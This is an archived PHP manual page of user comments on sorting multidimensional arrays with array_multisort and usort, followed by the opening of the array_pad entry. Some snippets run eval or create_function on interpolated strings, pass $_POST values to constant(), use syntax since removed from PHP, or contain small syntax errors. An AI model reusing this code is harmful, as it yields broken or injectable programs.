To sort the array returned e.g. by oci_fetch_all you must divide it in seperate arrays.
Example:
<?php
$rows=oci_fetch_all($stmt,$results);
?>
now you have several arrays each named by the key name in the sql result.
E.g. array of names, array of streets, array of towns.
To sort the result by e.g. towns you would do the following:
<?php
array_multisort($results[towns],$results[names],$results[streets]);
?>
Done.
To display the result sorted by towns you could use this:
<?php
print_r(array("names"=>$results[names],"streets"=>$results[streets],
"towns"=>$result[towns]));
?>
joopm at hotmail dot com 10-Apr-2008 04:50
@ scott at bartoncomputer dot com

You could also reference the array (if you wanted the original array in the object sorted):

array_multisort($position, SORT_DESC, &$clsVar->data);

Regards, Chr.
nickl at hamiltontampa dot com 24-Feb-2008 11:02
I believe this should read:

foreach($firstarray as $sortarray){
      $column[] = $sortarray['email'];
}

//sort arrays after loop
array_multisort($column, SORT_ASC, $firstarray);

Otherwise you will get an array is inconsistent err because $column array won't equal $firstarray until the loop completes.

It was the only way I got it to work, then it was fine. If I am wrong please post a correction.
glenn at freebsd dot nl 29-Nov-2007 10:49
To sort a nested array by column (key/index):

Example: two entries in the nested array:

firstarray[0]['adres'] = "adres1"
firstarray[0]['email'] = "email2"

firstarray[1]['adres'] = "adres2"
firstarray[1]['email'] = "email1"

-----------------------------------------

Without code: output would put adres1/email2 on top

-----------------------------------------

foreach($firstarray as $sortarray)
{
$column[] = $sortarray['email'];
array_multisort($column, SORT_ASC, $firstarray);
}

-----------------------------------------

With code: output would put adres2/email1 on top
scott at bartoncomputer dot com 03-May-2007 10:18
I didn't see this noted anywhere, so I figured I'd put in a little comment regarding arrays located inside classes. For instance:

class abc
{
   var $data;
}

The following code does not act as expected:

$clsVar =& new abc();

foreach ($clsVar->data as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $clsVar->data);

While I realize this could much easily be acheived using ksort(), this is merely a much more simple example of this behaviour. The exerpt above comes from a much more complicated sort using multi-scripted arrays.

Anyway the only way I could find to get around the behaviour of multisort not sorting the referenced class-array was to make a copy of it as below:

$clsVar =& new abc();
$newData = $clsVar->data;

foreach ($newData as $key => $row)
{
   $position[$key]  = $key;
}

array_multisort($position, SORT_DESC, $newData);

Now newData will contain the sorted array as expected.

Hopefully this helps someone else!
10-Apr-2007 03:01
<?php

    $strDeger = 'aaaa|bbbb|cccc';

    $arrBol = explode('|',$strDeger);

    array_multisort($arrBol, SORT_DESC);

    for($i = 0; $i <= count($arrBol); $i++) {

        echo $arrBol[$i].'<br />';

    }

?>
vermon7 27-Feb-2007 01:23
When using array_multisort() on copies of arrays, it is changing all the copies, even if you modify the copy before using array_multisort().

I've avoided this bug by serializing a copy of array before calling array_multisort, and unserializg it after array_multisort() Look at the code:

<?php

$records_copy = serialize($records) ;
array_multisort ( $records[$sort_field] , $records[$sort2_field] ) ;
$records_copy = unserialize($records_copy) ;

?>
Jon L. -- intel352 [AT] gmail [DOT] com 26-Feb-2007 08:27
This is my solution for a dynamic multisort, using POST values. This doesn't account for a need to sort by multiple columns at once, but could be modified for that purpose.

<?php
    /**
    * @desc You really should validate the posted sort direction against a list of valid possibilities.
    *         Options are SORT_ASC, SORT_DESC, etc, as shown in the documentation for array_multisort
    */
    $sort['direction'] = $_POST['sort_direction'] ? $_POST['sort_direction'] : 'SORT_ASC';
    $sort['field']       = $_POST['sort_field'] ? $_POST['sort_field'] : 'value';

    $array_to_sort = array();
    $array_to_sort['TestCase1'] = array('name'=>'Test1','value'=>'218');
    $array_to_sort['TestCase2'] = array('name'=>'Test2','value'=>'10');
    $array_to_sort['TestCase3'] = array('name'=>'Test3','value'=>'64');

    /**
    * @desc Build columns using the values, for sorting in php
    */
    $sort_arr = array();
    foreach($array_to_sort AS $uniqid => $row){
        foreach($row AS $key=>$value){
            $sort_arr[$key][$uniqid] = $value;
        }
    }

    print '<b>Before sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

    if($sort['direction']){
        array_multisort($sort_arr[$sort['field']], constant($sort['direction']), $array_to_sort);
    }

    print '<b>After sorting</b>: <br> <pre>';
    print_r($array_to_sort);
    print '</pre>';

?>

This example prints out:

Before sorting:

Array
(
    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

)

After sorting:

Array
(
    [TestCase2] => Array
        (
            [name] => Test2
            [value] => 10
        )

    [TestCase3] => Array
        (
            [name] => Test3
            [value] => 64
        )

    [TestCase1] => Array
        (
            [name] => Test1
            [value] => 218
        )

)
01-Dec-2006 06:58
casting the parameter arrays for array_multisort seem to make the sorting ineffective?

for example:-
<?
        foreach((array)$report_files as $report_files_i)
        {
            $file_stat = stat($report_files_i);
            $report_files_x[] = array(
                'filename'      => $report_files_i
                ,'basename'     => basename($report_files_i)
                ,'ctime'        => date("D, M j, Y",$file_stat['ctime'])
                ,'size'         => $file_stat['size']
                );

            $basename_i[] = strtolower(basename($report_files_i)); // case insensitive

        }
        array_multisort($basename_i, SORT_ASC, $report_files_x);
?>
The above works but if you change the last time to :-
<?
        array_multisort((array)$basename_i, SORT_ASC, (array)$report_files_x);
?>
...adding the (array) cast doesn't sort the main array ...
brettz9 throu gh yah 14-Sep-2006 12:04
Often, one may have a group of arrays which have parallel data that need to be kept associated with each other (e.g., the various attribute values of a group of elements might be stored in their own arrays). Using array_multisort as is, by specifying additional fields, it is possible, as in the documentation example cited below, that this association will be lost.

To take this example set of data from the documentation:
<?php
$ar1 = array("10", 100, 100, "a");
$ar2 = array(1, 3, "2", 1);
?>

The example goes on to sort it this way:
<?php
array_multisort($ar1, $ar2);
?>

In this case, although the "10" remains associated with the first '1' after being sorted, the "2" and '3' are reversed from their original order.

In order to sort by one field only (yet still have the other array(s) being correspondingly sorted), one can use array_keys (which makes an array out of the keys) to ensure that no further sub-sorting is performed. This works because array_keys is making an array for which no duplicates can exist (since keys will be unique), and thus, the subsequent fields will have no relevance as far as subsorting.

So, using the above data, we can perform this sort instead:
<?php
$ar3 = array_keys($ar1);
array_multisort($ar1, $ar3, $ar2);
?>

which, when $ar1 and $ar2 are dumped gives:

array(4) {
  [0]=> string(2) "10"
  [1]=> string(1) "a"
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=>  int(1)
  [1]=>  int(1)
  [2]=>  int(3)
  [3]=>  string(1) "2"
}
ricardo 04-Sep-2006 05:47
Hi,

Modded the function from KES,
goals:
- Object oriented
- string comparision using naturalordening

code:
<?
class HtmlTable{
    var $sortorder;
    var $rows;

//row adding stuf and constructor removed

    function sort($sortorder){
        if(is_array($sortorder)){
            $this->sortorder=$sortorder;
            usort($this->rows,array(&$this,'sort_compare'));
        }
    }
    function sort_compare($a,$b){//sort function
        $result=0;
        foreach($this->sortorder as $key=>$value){
            $result=strnatcmp($a[$key],$b[$key]);
            if($result==0)continue;
            if($value=='desc')$result=$result*-1;
            break;
        }
        return $result;
    }
}
?>
LPChip 28-Aug-2006 06:04
I was looking for a way to dynamically multisort my array.

By dynamically I mean that its not static what column will be sorted and if its ASC or DESC, and the ability to have more than one sorts.

This is the way a database would allow you to do.

The best way to dynamically do this, is by using eval.

The code below is partly what I used. (eg, I left out where the arrays were made and stuff, but the important part is here.)

<?

$orderby_arr = array("col1 ASC";"col2 DESC");

// prepare multisort using eval
        $eval_sort  = "array_multisort(";

        if ($orderby !="") {

            $orderby_arr_c = count($orderby_arr);

            for ($orderby_walk=0; $orderby_walk < $orderby_arr_c; $orderby_walk++) {
                $pos = strpos($orderby_arr[$orderby_walk], " ");
                $orderby_col = substr($orderby_arr[$orderby_walk], 0, $pos);
                $orderby_type = substr($orderby_arr[$orderby_walk], $pos+1);

                $eval_sort .= "\$this->OrderBy[$orderby_col]" . ", SORT_$orderby_type,";
            }
        }

        $eval_sort .= " \$this->Current_Query);";

        // if there's an array, sort it.
        if ($this->Current_Query_m != -1) eval($eval_sort);
?>
RQuadling at GMail dot com 07-Aug-2006 05:53
Extending KES's example (http://www.php.net/manual/en/function.array-multisort.php#68452) to look like array_multisort().

NOTE: Fully commented code is available at http://rquadling.php1h.com (sorry for the ads).

The syntax is the same as array_multisort().

You also have 3 additional parameters you can use:

AMC_SORT_STRING_CASELESS to sort the strings case insensitively.
AMC_LOSE_ASSOCIATION (the default behaviour) to lose the associations for the array.
AMC_KEEP_ASSOCIATION to keep the associations for the array.

Other than that, these function work together JUST like array_multisort but sorts using column(s) without the need to first extract the columns into individual arrays.

<?php
define ('AMC_SORT_STRING_CASELESS', SORT_STRING + 1);
define ('AMC_LOSE_ASSOCIATION', 1001);
define ('AMC_KEEP_ASSOCIATION', 1002);
define ('AMC_SORT_ORDER', 1003);
define ('AMC_SORT_TYPE', 1004);

function array_multisort_column(array &$a_data, $m_mixed1)
    {
    $a_Args = func_get_args();
    $i_Args = func_num_args();
    $GLOBALS['a_AMC_ordering'] = array();
    $a_Columns = array_keys(reset($a_data));
    $b_KeepAssociation = False;
    for($i_Arg = 1 ; $i_Arg < $i_Args ; )
        {
        if (in_array($a_Args[$i_Arg], $a_Columns))
            {
            $s_Column = $a_Args[$i_Arg];
            $GLOBALS['a_AMC_ordering'][$a_Args[$i_Arg]] = array
                (
                AMC_SORT_ORDER => SORT_ASC,
                AMC_SORT_TYPE => SORT_REGULAR,
                );
            while
                (
                isset($a_Args[$i_Arg + 1]) &&
                in_array
                    (
                    $a_Args[$i_Arg + 1],
                    array
                        (
                        AMC_KEEP_ASSOCIATION,
                        AMC_LOSE_ASSOCIATION,
                        AMC_SORT_STRING_CASELESS,
                        SORT_ASC,
                        SORT_DESC
                        SORT_NUMERIC,
                        SORT_REGULAR,
                        SORT_STRING,
                        ),
                    True
                    )
                )
                {
                if (in_array($a_Args[$i_Arg + 1], array(SORT_ASC, SORT_DESC), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_ORDER] = $a_Args[$i_Arg + 1];
                    }
                elseif (in_array($a_Args[$i_Arg + 1], array(SORT_REGULAR, SORT_NUMERIC, SORT_STRING, AMC_SORT_STRING_CASELESS), True))
                    {
                    $GLOBALS['a_AMC_ordering'][$s_Column][AMC_SORT_TYPE] = $a_Args[$i_Arg + 1];
                    }
                elseif (AMC_KEEP_ASSOCIATION == $a_Args[$i_Arg + 1])
                    {
                    $b_KeepAssociation = True;
                    }
                ++$i_Arg;
                }
            }
        ++$i_Arg;
        }
    $s_Sorter = ($b_KeepAssociation ? 'uasort' : 'usort');
    $b_Result = $s_Sorter($a_data, 'array_multisort_column_cmp');
    unset($GLOBALS['a_AMC_ordering']);
    return $b_Result;
    }

function array_multisort_column_cmp(array &$a_left, array &$a_right)
    {
    $i_Result = 0;
    foreach($GLOBALS['a_AMC_ordering'] as $s_Column => $a_ColumnData)
        {
        switch ($a_ColumnData[AMC_SORT_TYPE])
            {
            case SORT_NUMERIC :
                $i_ColumnCompareResult =
                    ((intval($a_left[$s_Column]) == intval($a_right[$s_Column]))
                    ?
                        0
                    :
                        ((intval($a_left[$s_Column]) < intval($a_right[$s_Column]))
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            case SORT_STRING :
                $i_ColumnCompareResult = strcmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case AMC_SORT_STRING_CASELESS :
                $i_ColumnCompareResult = strcasecmp((string)$a_left[$s_Column], (string)$a_right[$s_Column]);
                break;
            case SORT_REGULAR :
            default :
                $i_ColumnCompareResult =
                    (($a_left[$s_Column] == $a_right[$s_Column])
                    ?
                        0
                    :
                        (($a_left[$s_Column] < $a_right[$s_Column])
                        ?
                            -1
                        :
                            1
                        )
                    );
                break;
            }
        if (0 == $i_ColumnCompareResult)
            {
            continue;
            }
        $i_Result = $i_ColumnCompareResult * (($a_ColumnData[AMC_SORT_ORDER] == SORT_DESC) ? -1 : 1);
        break;
        }
    return $i_Result;
    }
?>
KES http://kes.net.ua 27-Jul-2006 05:30
<?
//sort by second column then first one
$orderBy=array('0'=>'desc', 'first'=>'asc');

function KES_cmp($a, $b) {
  global $orderBy;
  $result= 0;
  foreach( $orderBy as $key => $value ) {
    if( $a[$key] == $b[$key] ) continue;
    $result= ($a[$key] < $b[$key])? -1 : 1;
    if( $value=='desc' ) $result= -$result;
    break;
    }
  return $result;
  }

$result= array();
$result[]= array( 'first'=>6, 2);
$result[]= array( 'first'=>3, 2);
$result[]= array( 'first'=>1, 3);
$result[]= array( 'first'=>1, 2);
$result[]= array( 'first'=>6, 1);

print "<b>Source</b>";
print_r($result);

usort($result, 'KES_cmp');
print "<b>Result</b>";
print_r($result);
?>
KES 27-Jul-2006 04:35
It is very handy to have function, which sort like this:

$arrayToSort[]= array(0 => ".",               "type" => "dir");
$arrayToSort[]= array(0 => "qf",              "type" => "file");
$arrayToSort[]= array(0 => "..",              "type" => "dir");
$arrayToSort[]= array(0 => "text.txt",      "type" => "file");
$arrayToSort[]= array(0 => "hello",          "type" => "dir");

//first sort by the column 'type', then sort by the column '0'
$howToSort= array('type'=> 'asc', 0=> 'desc');

multisort($arrayToSort, $howToSort);

The result:
0           |       type
----------------------------
.           | dir
..           | dir
hello       | dir
text.txt    | file
qf          | file
Cesar Sirvent 17-May-2006 09:43
There is a problem with array_multisort in languages other than English.
For special chars, as A with accent (Ã), the sorting does not correspond to what might expect from a MySQL SELECT with ORDER BY.

For example

<?php

       foreach ($students as $key => $row){
          $surname[$key] = $row['surname'];
       }
       array_multisort($surname, SORT_ASC, $students);
?>

will sort the array in this way: ABADIA, ALVAREZ, BUÃ‘UEL, ZUBIETA, ÃLVARES

while a MySQL SELECT with ORDER BY nombre ASC will yield

ABADIA, ÃLVARES, ALVEREZ, BUÃ‘UEL, ZUBIETA

as A and Ã are considered two different representations of the same letter.
scott - evolove - net - work it out 22-Mar-2006 07:51
A very simple way to sort an array of associative arrays by some value is to use usort.

I needed to sort an array of 20 data structures by their 'distance' value:

Array
(
    [0] => Array
        (
            [blahblah] => blahblah
            [distance] => 6
        )

    [1] => Array
        (
          you get the idea....

Here's the code:

--------------------
usort($results, "distributor_compare");

/**
 * usort callback
 */
function distributor_compare($a, $b) {
    $adist = intval($a['distance']);
    $bdist = intval($b['distance']);

    if ($adist == $bdist) {
     return 0;
     }
     return ($adist < $bdist) ? -1 : 1;
}
--------------------
peter dot graham at tcat dot ac dot uk 16-Feb-2006 07:16
Many thanks to “AlberT at SuperAlberT dot it” for his useful and elegant function. I have made some small alterations so it doesn’t use pass-by-reference as this throws up warnings in newer versions of php4.

<?php

function array_key_multi_sort($arr, $l , $f='strnatcasecmp')
{
    usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
    return($arr);
}

?>
mail at theopensource dot com 31-Jan-2006 11:34
I wanted to share with you a function that I created to make the array_multisort process much easier for myself... There was some interesting things that I encountered and I will post that in the comments.

I created this function so that all I have to do is tell it what column I want to sort through in a one level deep multidimensional array.  You can Try this code in your browser to view the results

ex/
<?php

//Here is an array example
$test[0]['name'] = "David";
$test[0]['age'] = 28;
$test[1]['name'] = "Dennis";
$test[1]['age'] = 23;
$test[2]['name'] = "Joseph";
$test[2]['age'] = 42;

//Here is the Function

function sortmddata($array, $by, $order, $type){

//$array: the array you want to sort
//$by: the associative array name that is one level deep
////example: name
//$order: ASC or DESC
//$type: num or str

$sortby = "sort$by"; //This sets up what you are sorting by

$firstval = current($array); //Pulls over the first array

$vals = array_keys($firstval); //Grabs the associate Arrays

foreach ($vals as $init){
    $keyname = "sort$init";
    $$keyname = array();
}
//This was strange because I had problems adding
//Multiple arrays into a variable variable
//I got it to work by initializing the variable variables as arrays
//Before I went any further

foreach ($array as $key => $row) {

foreach ($vals as $names){
    $keyname = "sort$names";
    $test = array();
    $test[$key] = $row[$names];
    $$keyname = array_merge($$keyname,$test);

}

}

//This will create dynamic mini arrays so that I can perform
//the array multisort with no problem
//Notice the temp array... I had to do that because I
//cannot assign additional array elements to a
//varaiable variable

if ($order == "DESC"){
if ($type == "num"){
array_multisort($$sortby,SORT_DESC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_DESC, SORT_STRING,$array);
}
} else {
if ($type == "num"){
array_multisort($$sortby,SORT_ASC, SORT_NUMERIC,$array);
} else {
array_multisort($$sortby,SORT_ASC, SORT_STRING,$array);
}
}

//This just goed through and asks the additional arguments
//What they are doing and are doing variations of
//the multisort

return $array;
}

//Now to test it

$test = sortmddata($test,'age','ASC','num');

print_r ($test);

//This will return
//Array (
//[0] => Array ([name] => Dennis [age] => 23 )
//[1] => Array ( [name] => David [age] => 28 )
//[2] => Array ( [name] => Joseph [age] => 42 )
//)

?>

There you go... please let me know what you think if you like.
php a-t-the-r-a-t-e chir.ag 05-Jan-2006 02:10
Re: phu at kungphu, 19-Dec-2005 11:36

asort($test) will not let me specify which columns to sort ASC/DESC, NUMERIC/STRING etc.

I have data similar to what you specified. Now I want to sort $test by points DESC and name ASC. Here's my function that does it, based on suggestions on this page. It uses array_multisort (and hence acts just like it: preserving string-keys etc.)

<?php

  function arrayColumnSort()
  {
    $n = func_num_args();
    $ar = func_get_arg($n-1);
    if(!is_array($ar))
      return false;

    for($i = 0; $i < $n-1; $i++)
      $col[$i] = func_get_arg($i);

    foreach($ar as $key => $val)
      foreach($col as $kkey => $vval)
        if(is_string($vval))
          ${"subar$kkey"}[$key] = $val[$vval];

    $arv = array();
    foreach($col as $key => $val)
      $arv[] = (is_string($val) ? ${"subar$key"} : $val);
    $arv[] = $ar;

    call_user_func_array("array_multisort", $arv);
    return $ar;
  }

  $test["pete"]['points']=1;
  $test["pete"]['name']='Peter';

  $test["mike"]['points']=5;
  $test["mike"]['name']='Mike';

  $test["zoo"]['points']=2;
  $test["zoo"]['name']='John Zoo';

  $test["ab"]['points']=2;
  $test["ab"]['name']='John Ab';

  $test1 = $test;

  asort($test1);

  $test2 = arrayColumnSort("points", SORT_DESC, SORT_NUMERIC, "name", SORT_ASC, SORT_STRING, $test);

  print_r($test1); // asort
  print_r($test2); // arrayColumnSort

?>

Output from asort:

Array
(
    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

)

Output from arrayColumnSort:

Array
(
    [mike] => Array
        (
            [points] => 5
            [name] => Mike
        )

    [ab] => Array
        (
            [points] => 2
            [name] => John Ab
        )

    [zoo] => Array
        (
            [points] => 2
            [name] => John Zoo
        )

    [pete] => Array
        (
            [points] => 1
            [name] => Peter
        )

)
phu at kungphu 19-Dec-2005 11:36
Notepad's example using asort/arsort will -not- work unless 'points' is defined -before- 'name'.

Running the posted code sorts by 'name', which was not the point of the previous posts.  Defining 'points' as 'apoints' also did not work; however, defining 'points' first yields correct sorting:

$test[0]['points']=1;
$test[0]['name']='Peter';

$test[1]['points']=5;
$test[1]['name']='Mike';

$test[2]['points']=2;
$test[2]['name']='John';

asort($test);

It appears asort uses the first defined element to sort a multidimensional array.
notepad at codewalkers dot com 09-Dec-2005 04:33
for you guys trying to sort scores on an associative multi-dimensional array, why are you creating your own functions?

<?php

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

asort($test);
// or even arsort();

?>

the above seems to work for me...
Shmee 30-Sep-2005 06:46
RWC’s code works very well until you get a ‘point’ value greater then ten.  This is because the strcmp() function will return that 2 > 10 and 2 > 11 … 2 > 19 and so on. To compare number values over ten try a sort like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     if ($a[$key]>$b[$key]){
         $varcmp = "1";
         return $varcmp;
     }
     elseif ($a[$key]<$b[$key]){
         $varcmp = "-1";
         return $varcmp;
     }
     elseif ($a[$key]==$b[$key]){
         $varcmp = "0";
         return $varcmp;
     }
  }
  usort($array, "compare");
  return $array;
}
RWC 25-Sep-2005 01:45
This is the simpler version of the function by AlberT.

A lot of times you have got an array like this:

$test[0]['name']='Peter';
$test[0]['points']=1;

$test[1]['name']='Mike';
$test[1]['points']=5;

$test[2]['name']='John';
$test[2]['points']=2;

You just want to sort on the index in the second dimension, ie. on points in the above example.

You can use the function below and call it like this:

$test = multi_sort($test, $key = 'points');

function multi_sort($array, $akey)
{
  function compare($a, $b)
  {
     global $key;
     return strcmp($a[$key], $b[$key]);
  }
  usort($array, "compare");
  return $array;
}

Note: to be able to use $key in the compare function, it can not simply be passed as a parameter. It has to be declared global and set somewhere outside of compare().
AlberT at SuperAlberT dot it 18-Jul-2005 06:59
a nice piece of code to do an "array_key_multi_sort()" is the following:

<?php
/**
 * orders a multidimentional array on the base of a label-key
 *
 * @param $arr, the array to be ordered
 * @param $l the "label" identifing the field
 * @param $f the ordering function to be used,
 *    strnatcasecmp() by default
 * @return  TRUE on success, FALSE on failure.
 */
function array_key_multi_sort(&$arr, $l , $f='strnatcasecmp') {
        return usort($arr, create_function('$a, $b', "return $f(\$a['$l'], \$b['$l']);"));
}
?>
kencomer at kencomer dot com 12-Jun-2005 11:48
If your data is in an associative array that you would need to separate into columns such as those retrieved with your favorite flavor of _fetch_array() in order to be able to use multisort(), you should consider using uasort() or usort() as an alternative. Here is an example of how this could be beneficial:

(key is employee number which remains intact; rows are sorted by surname, firstname)

<?php
function namecmp( $row1,$row2 )
{
    $first = strcmp($row1['surname'], $row2['surname']) ;
    if ( $first )
        return $first ;
    else
        return strcmp($row1['name'], $row2['name']) ;
}

      $test = array( '11122202' => array('empno'=>11122202,'name'=>'geezer'
                ,'surname'=>'schmidt','age'=>96,'sex'=>'male')
            ,'11122204' => array('empno'=>11122204,'name'=>'coed'
                ,'surname'=>'beaujolais','age'=>18,'sex'=>'female')
            ,'11122206' => array('empno'=>11122206,'name'=>'immortal'
                ,'surname'=>'ramos','age'=>21,'sex'=>'male')
            ,'11122208' => array('empno'=>11122208,'name'=>'babyface'
                ,'surname'=>'brown','age'=>1,'sex'=>'male')
            ,'11122210' => array('empno'=>11122210,'name'=>'exjock'
                ,'surname'=>'gatti','age'=>48,'sex'=>'male')
            ,'11122212' => array('empno'=>11122212,'name'=>'jailbait'
                ,'surname'=>'muhammed','age'=>15,'sex'=>'female') )
            ;
echo "<pre>" ;
print_r( $test ) ;
uasort($test,'namecmp') ;
echo "----sorting----<br \>";
print_r( $test ) ;
echo "</pre>" ;

?>

Array
(
    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

)
----sorting----
Array
(
    [11122204] => Array
        (
            [empno] => 11122204
            [name] => coed
            [surname] => beaujolais
            [age] => 18
            [sex] => female
        )

    [11122208] => Array
        (
            [empno] => 11122208
            [name] => babyface
            [surname] => brown
            [age] => 1
            [sex] => male
        )

    [11122210] => Array
        (
            [empno] => 11122210
            [name] => exjock
            [surname] => gatti
            [age] => 48
            [sex] => male
        )

    [11122212] => Array
        (
            [empno] => 11122212
            [name] => jailbait
            [surname] => muhammed
            [age] => 15
            [sex] => female
        )

    [11122206] => Array
        (
            [empno] => 11122206
            [name] => immortal
            [surname] => ramos
            [age] => 21
            [sex] => male
        )

    [11122202] => Array
        (
            [empno] => 11122202
            [name] => geezer
            [surname] => schmidt
            [age] => 96
            [sex] => male
        )

)
Michael Oelze at ÄM (myname) ÄT GMXdotDE 25-Apr-2005 09:15
I try array_multisort at first and it seems to work well. But then I program a page with cached datas (the arrays were saved in a session). Suddenly the sort function doesn't seem to work. There was no error in my script, so I try the reference on the variables. Then he manage to sort the arrays again.

So it seems that if you save your Arrays in a session your arrays are global variables and then 'array_multisort' doesn't sort the arrays despite it gives back 'true'.
 You must reference your variables and all work well:

session_start(); // restore variables (Arrays etc.)
.....
.....
array_multisort(&$Array1,&$Array2,&$Array3,...);
....
$_SESSION["Array1"]=$Array1;//
$_SESSION["Array2"]=$Array2;//Save Arrays in Session Data
$_SESSION["Array3"]=$Array3;//
......

Now you can store your Data Arrays in your Session and are able to sort them as you like...
stevec at NO-/ dot /-SPAM dot qiguang dot net 13-Apr-2005 08:19
Be careful when using array_multisort() on copies of arrays, as you might end up changing the original array.  Given the following code:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

You would expect:

test1:Array
(
    [0] => 4
    [1] => 3
    [2] => 2
    [3] => 1
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

However, if you run the code, you actually get:

test1:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test2:Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)
test3:Array
(
    [0] => d
    [1] => c
    [2] => b
    [3] => a
)

Note that the original ($test1) ends up being sorted even though it was never called by array_multisort().  To work around this, insert a statement to modify the copy ($test2) before calling array_multisort() on it.  The following code will produce the expected "correct" results:

<?php
    $test1 = array(4,3,2,1);
    $test2 = $test1;
    $test3 = array('a', 'b', 'c', 'd');

    $test2[0] = $test2[0];                // fix
    array_multisort($test2, SORT_ASC, $test3);

    echo 'test1:';
    print_r($test1);
    echo 'test2:';
    print_r($test2);
    echo 'test3:';
    print_r($test3);
?>

This seems to be a resurrection of the closed bug #8130.  Also, someone reported this behavior in bug #32031, but it was incorrectly labeled "bogus" in reference to bug #25359, which is a different issue.
joao at intrasystems dot com dot br 07-Apr-2005 12:27
Exemple of sorting multi-dimensional arrays by one of it's fields:

$result[0]['nome']='Joao';
$result[0]['order']=5;
$result[1]['nome']='Pedro';
$result[1]['order']=1;
$result[2]['nome']='Marcelo';
$result[2]['order']=3;

foreach($result as $res)
     $sortAux[] = $res['order'];

array_multisort($sortAux, SORT_ASC, $result);

print_r($result);

produces:

Array
(
    [0] => Array
        (
            [nome] => Pedro
            [order] => 1
        )

    [1] => Array
        (
            [nome] => Marcelo
            [order] => 3
        )

    [2] => Array
        (
            [nome] => Joao
            [order] => 5
        )

)
Toni 10-Nov-2004 03:30
An example to sort an array by 3 criteria:

$recordset is an array of results from a query to a database, that I sort using $matrix as auxiliary array. First numeric, Second and Third alphabetically.

<?php
for($idx=0;$idx<$toShow;$idx++){
    $matrix[0][$id]=$recordset[$id][0];
    $matrix[1][$id]=$recordset[$id][1];
    $matrix[2][$id]=$recordset[$id][10];
}

array_multisort($matrix[0], SORT_DESC, SORT_NUMERIC,$matrix[1], SORT_STRING, SORT_ASC,$matrix[2], SORT_STRING, SORT_ASC);
?>
meddle at dzygn.com 05-Oct-2004 07:40
If you want to sort a multidomensional array by key name you cannot use array_multisort. ie: for an array named $archivos that prints like this:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => test
        )

    [1] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [2] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [3] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)

If I wanted to order by "name" I'd use:

function comparar($a, $b) {
        return strnatcasecmp($a["name"], $b["name"]);
}
usort($archivos, "comparar");

This function performs a case insensitive string comparison using a "natural order" algorithm (strnatcasecmp), resulting in:

Array
(
    [0] => Array
        (
            [index] => 0
            [name] => 2_0003.JPG
        )

    [1] => Array
        (
            [index] => 0
            [name] => 24A_0025.JPG
        )

    [2] => Array
        (
            [index] => 0
            [name] => test
        )

    [3] => Array
        (
            [index] => 0
            [name] => watertaxi.jpg
        )

    [4] => Array
        (
            [index] => 1
            [name] => _CIMG3501.JPG
        )

)
kat dot n0spam at audiogalaxy dot com 23-Aug-2001 10:25
If you're having problems with array_multisort changing variables in global space when it is called inside a function and you're not passing in the function parameters by reference you can alleviate the problem by calling array_multisort with its parameters by reference.

array_multisort(&$a, SORT_DESC, &$b);

More details here in my bug report:
http://www.php.net/bugs.php?id=12936
array_merge
array_pad
Array Functions


Pad array to the specified length with a value

array_multisort
array_pop
Array Functions
PHP Manual

array_pad

(PHP 4, PHP 5)

array_pad — Pad array to the specified length with a value

Description

array array_pad ( array $input , int $pad_size , mixed $pad_value )

array_pad() returns a copy of the input padded to size specified by pad_size with value pad_value. If pad_size is positive then the array is padded on the right, if it's negative then on the left. If the absolute value of pad_size is less than or equal to the length of the input then no padding takes place. It is possible to add most 1048576 elements at a time.

Parameters

input

Initial array of values to pad.

pad_size

New size of the array.

pad_value

Value to pad if input is less than pad_size.

Return Values

Returns a copy of the input padded to size specified by pad_size with value pad_value. If pad_size is positive then the array is padded on the right, if it's negative then on the left. If the absolute value of pad_size is less than or equal to the length of the input then no padding takes place.

Examples

Example #1 array_pad() example

<?php
$input = array(12, 10, 9);

$result = array_pad($input, 5, 0);
// result is array(12, 10, 9, 0, 0)

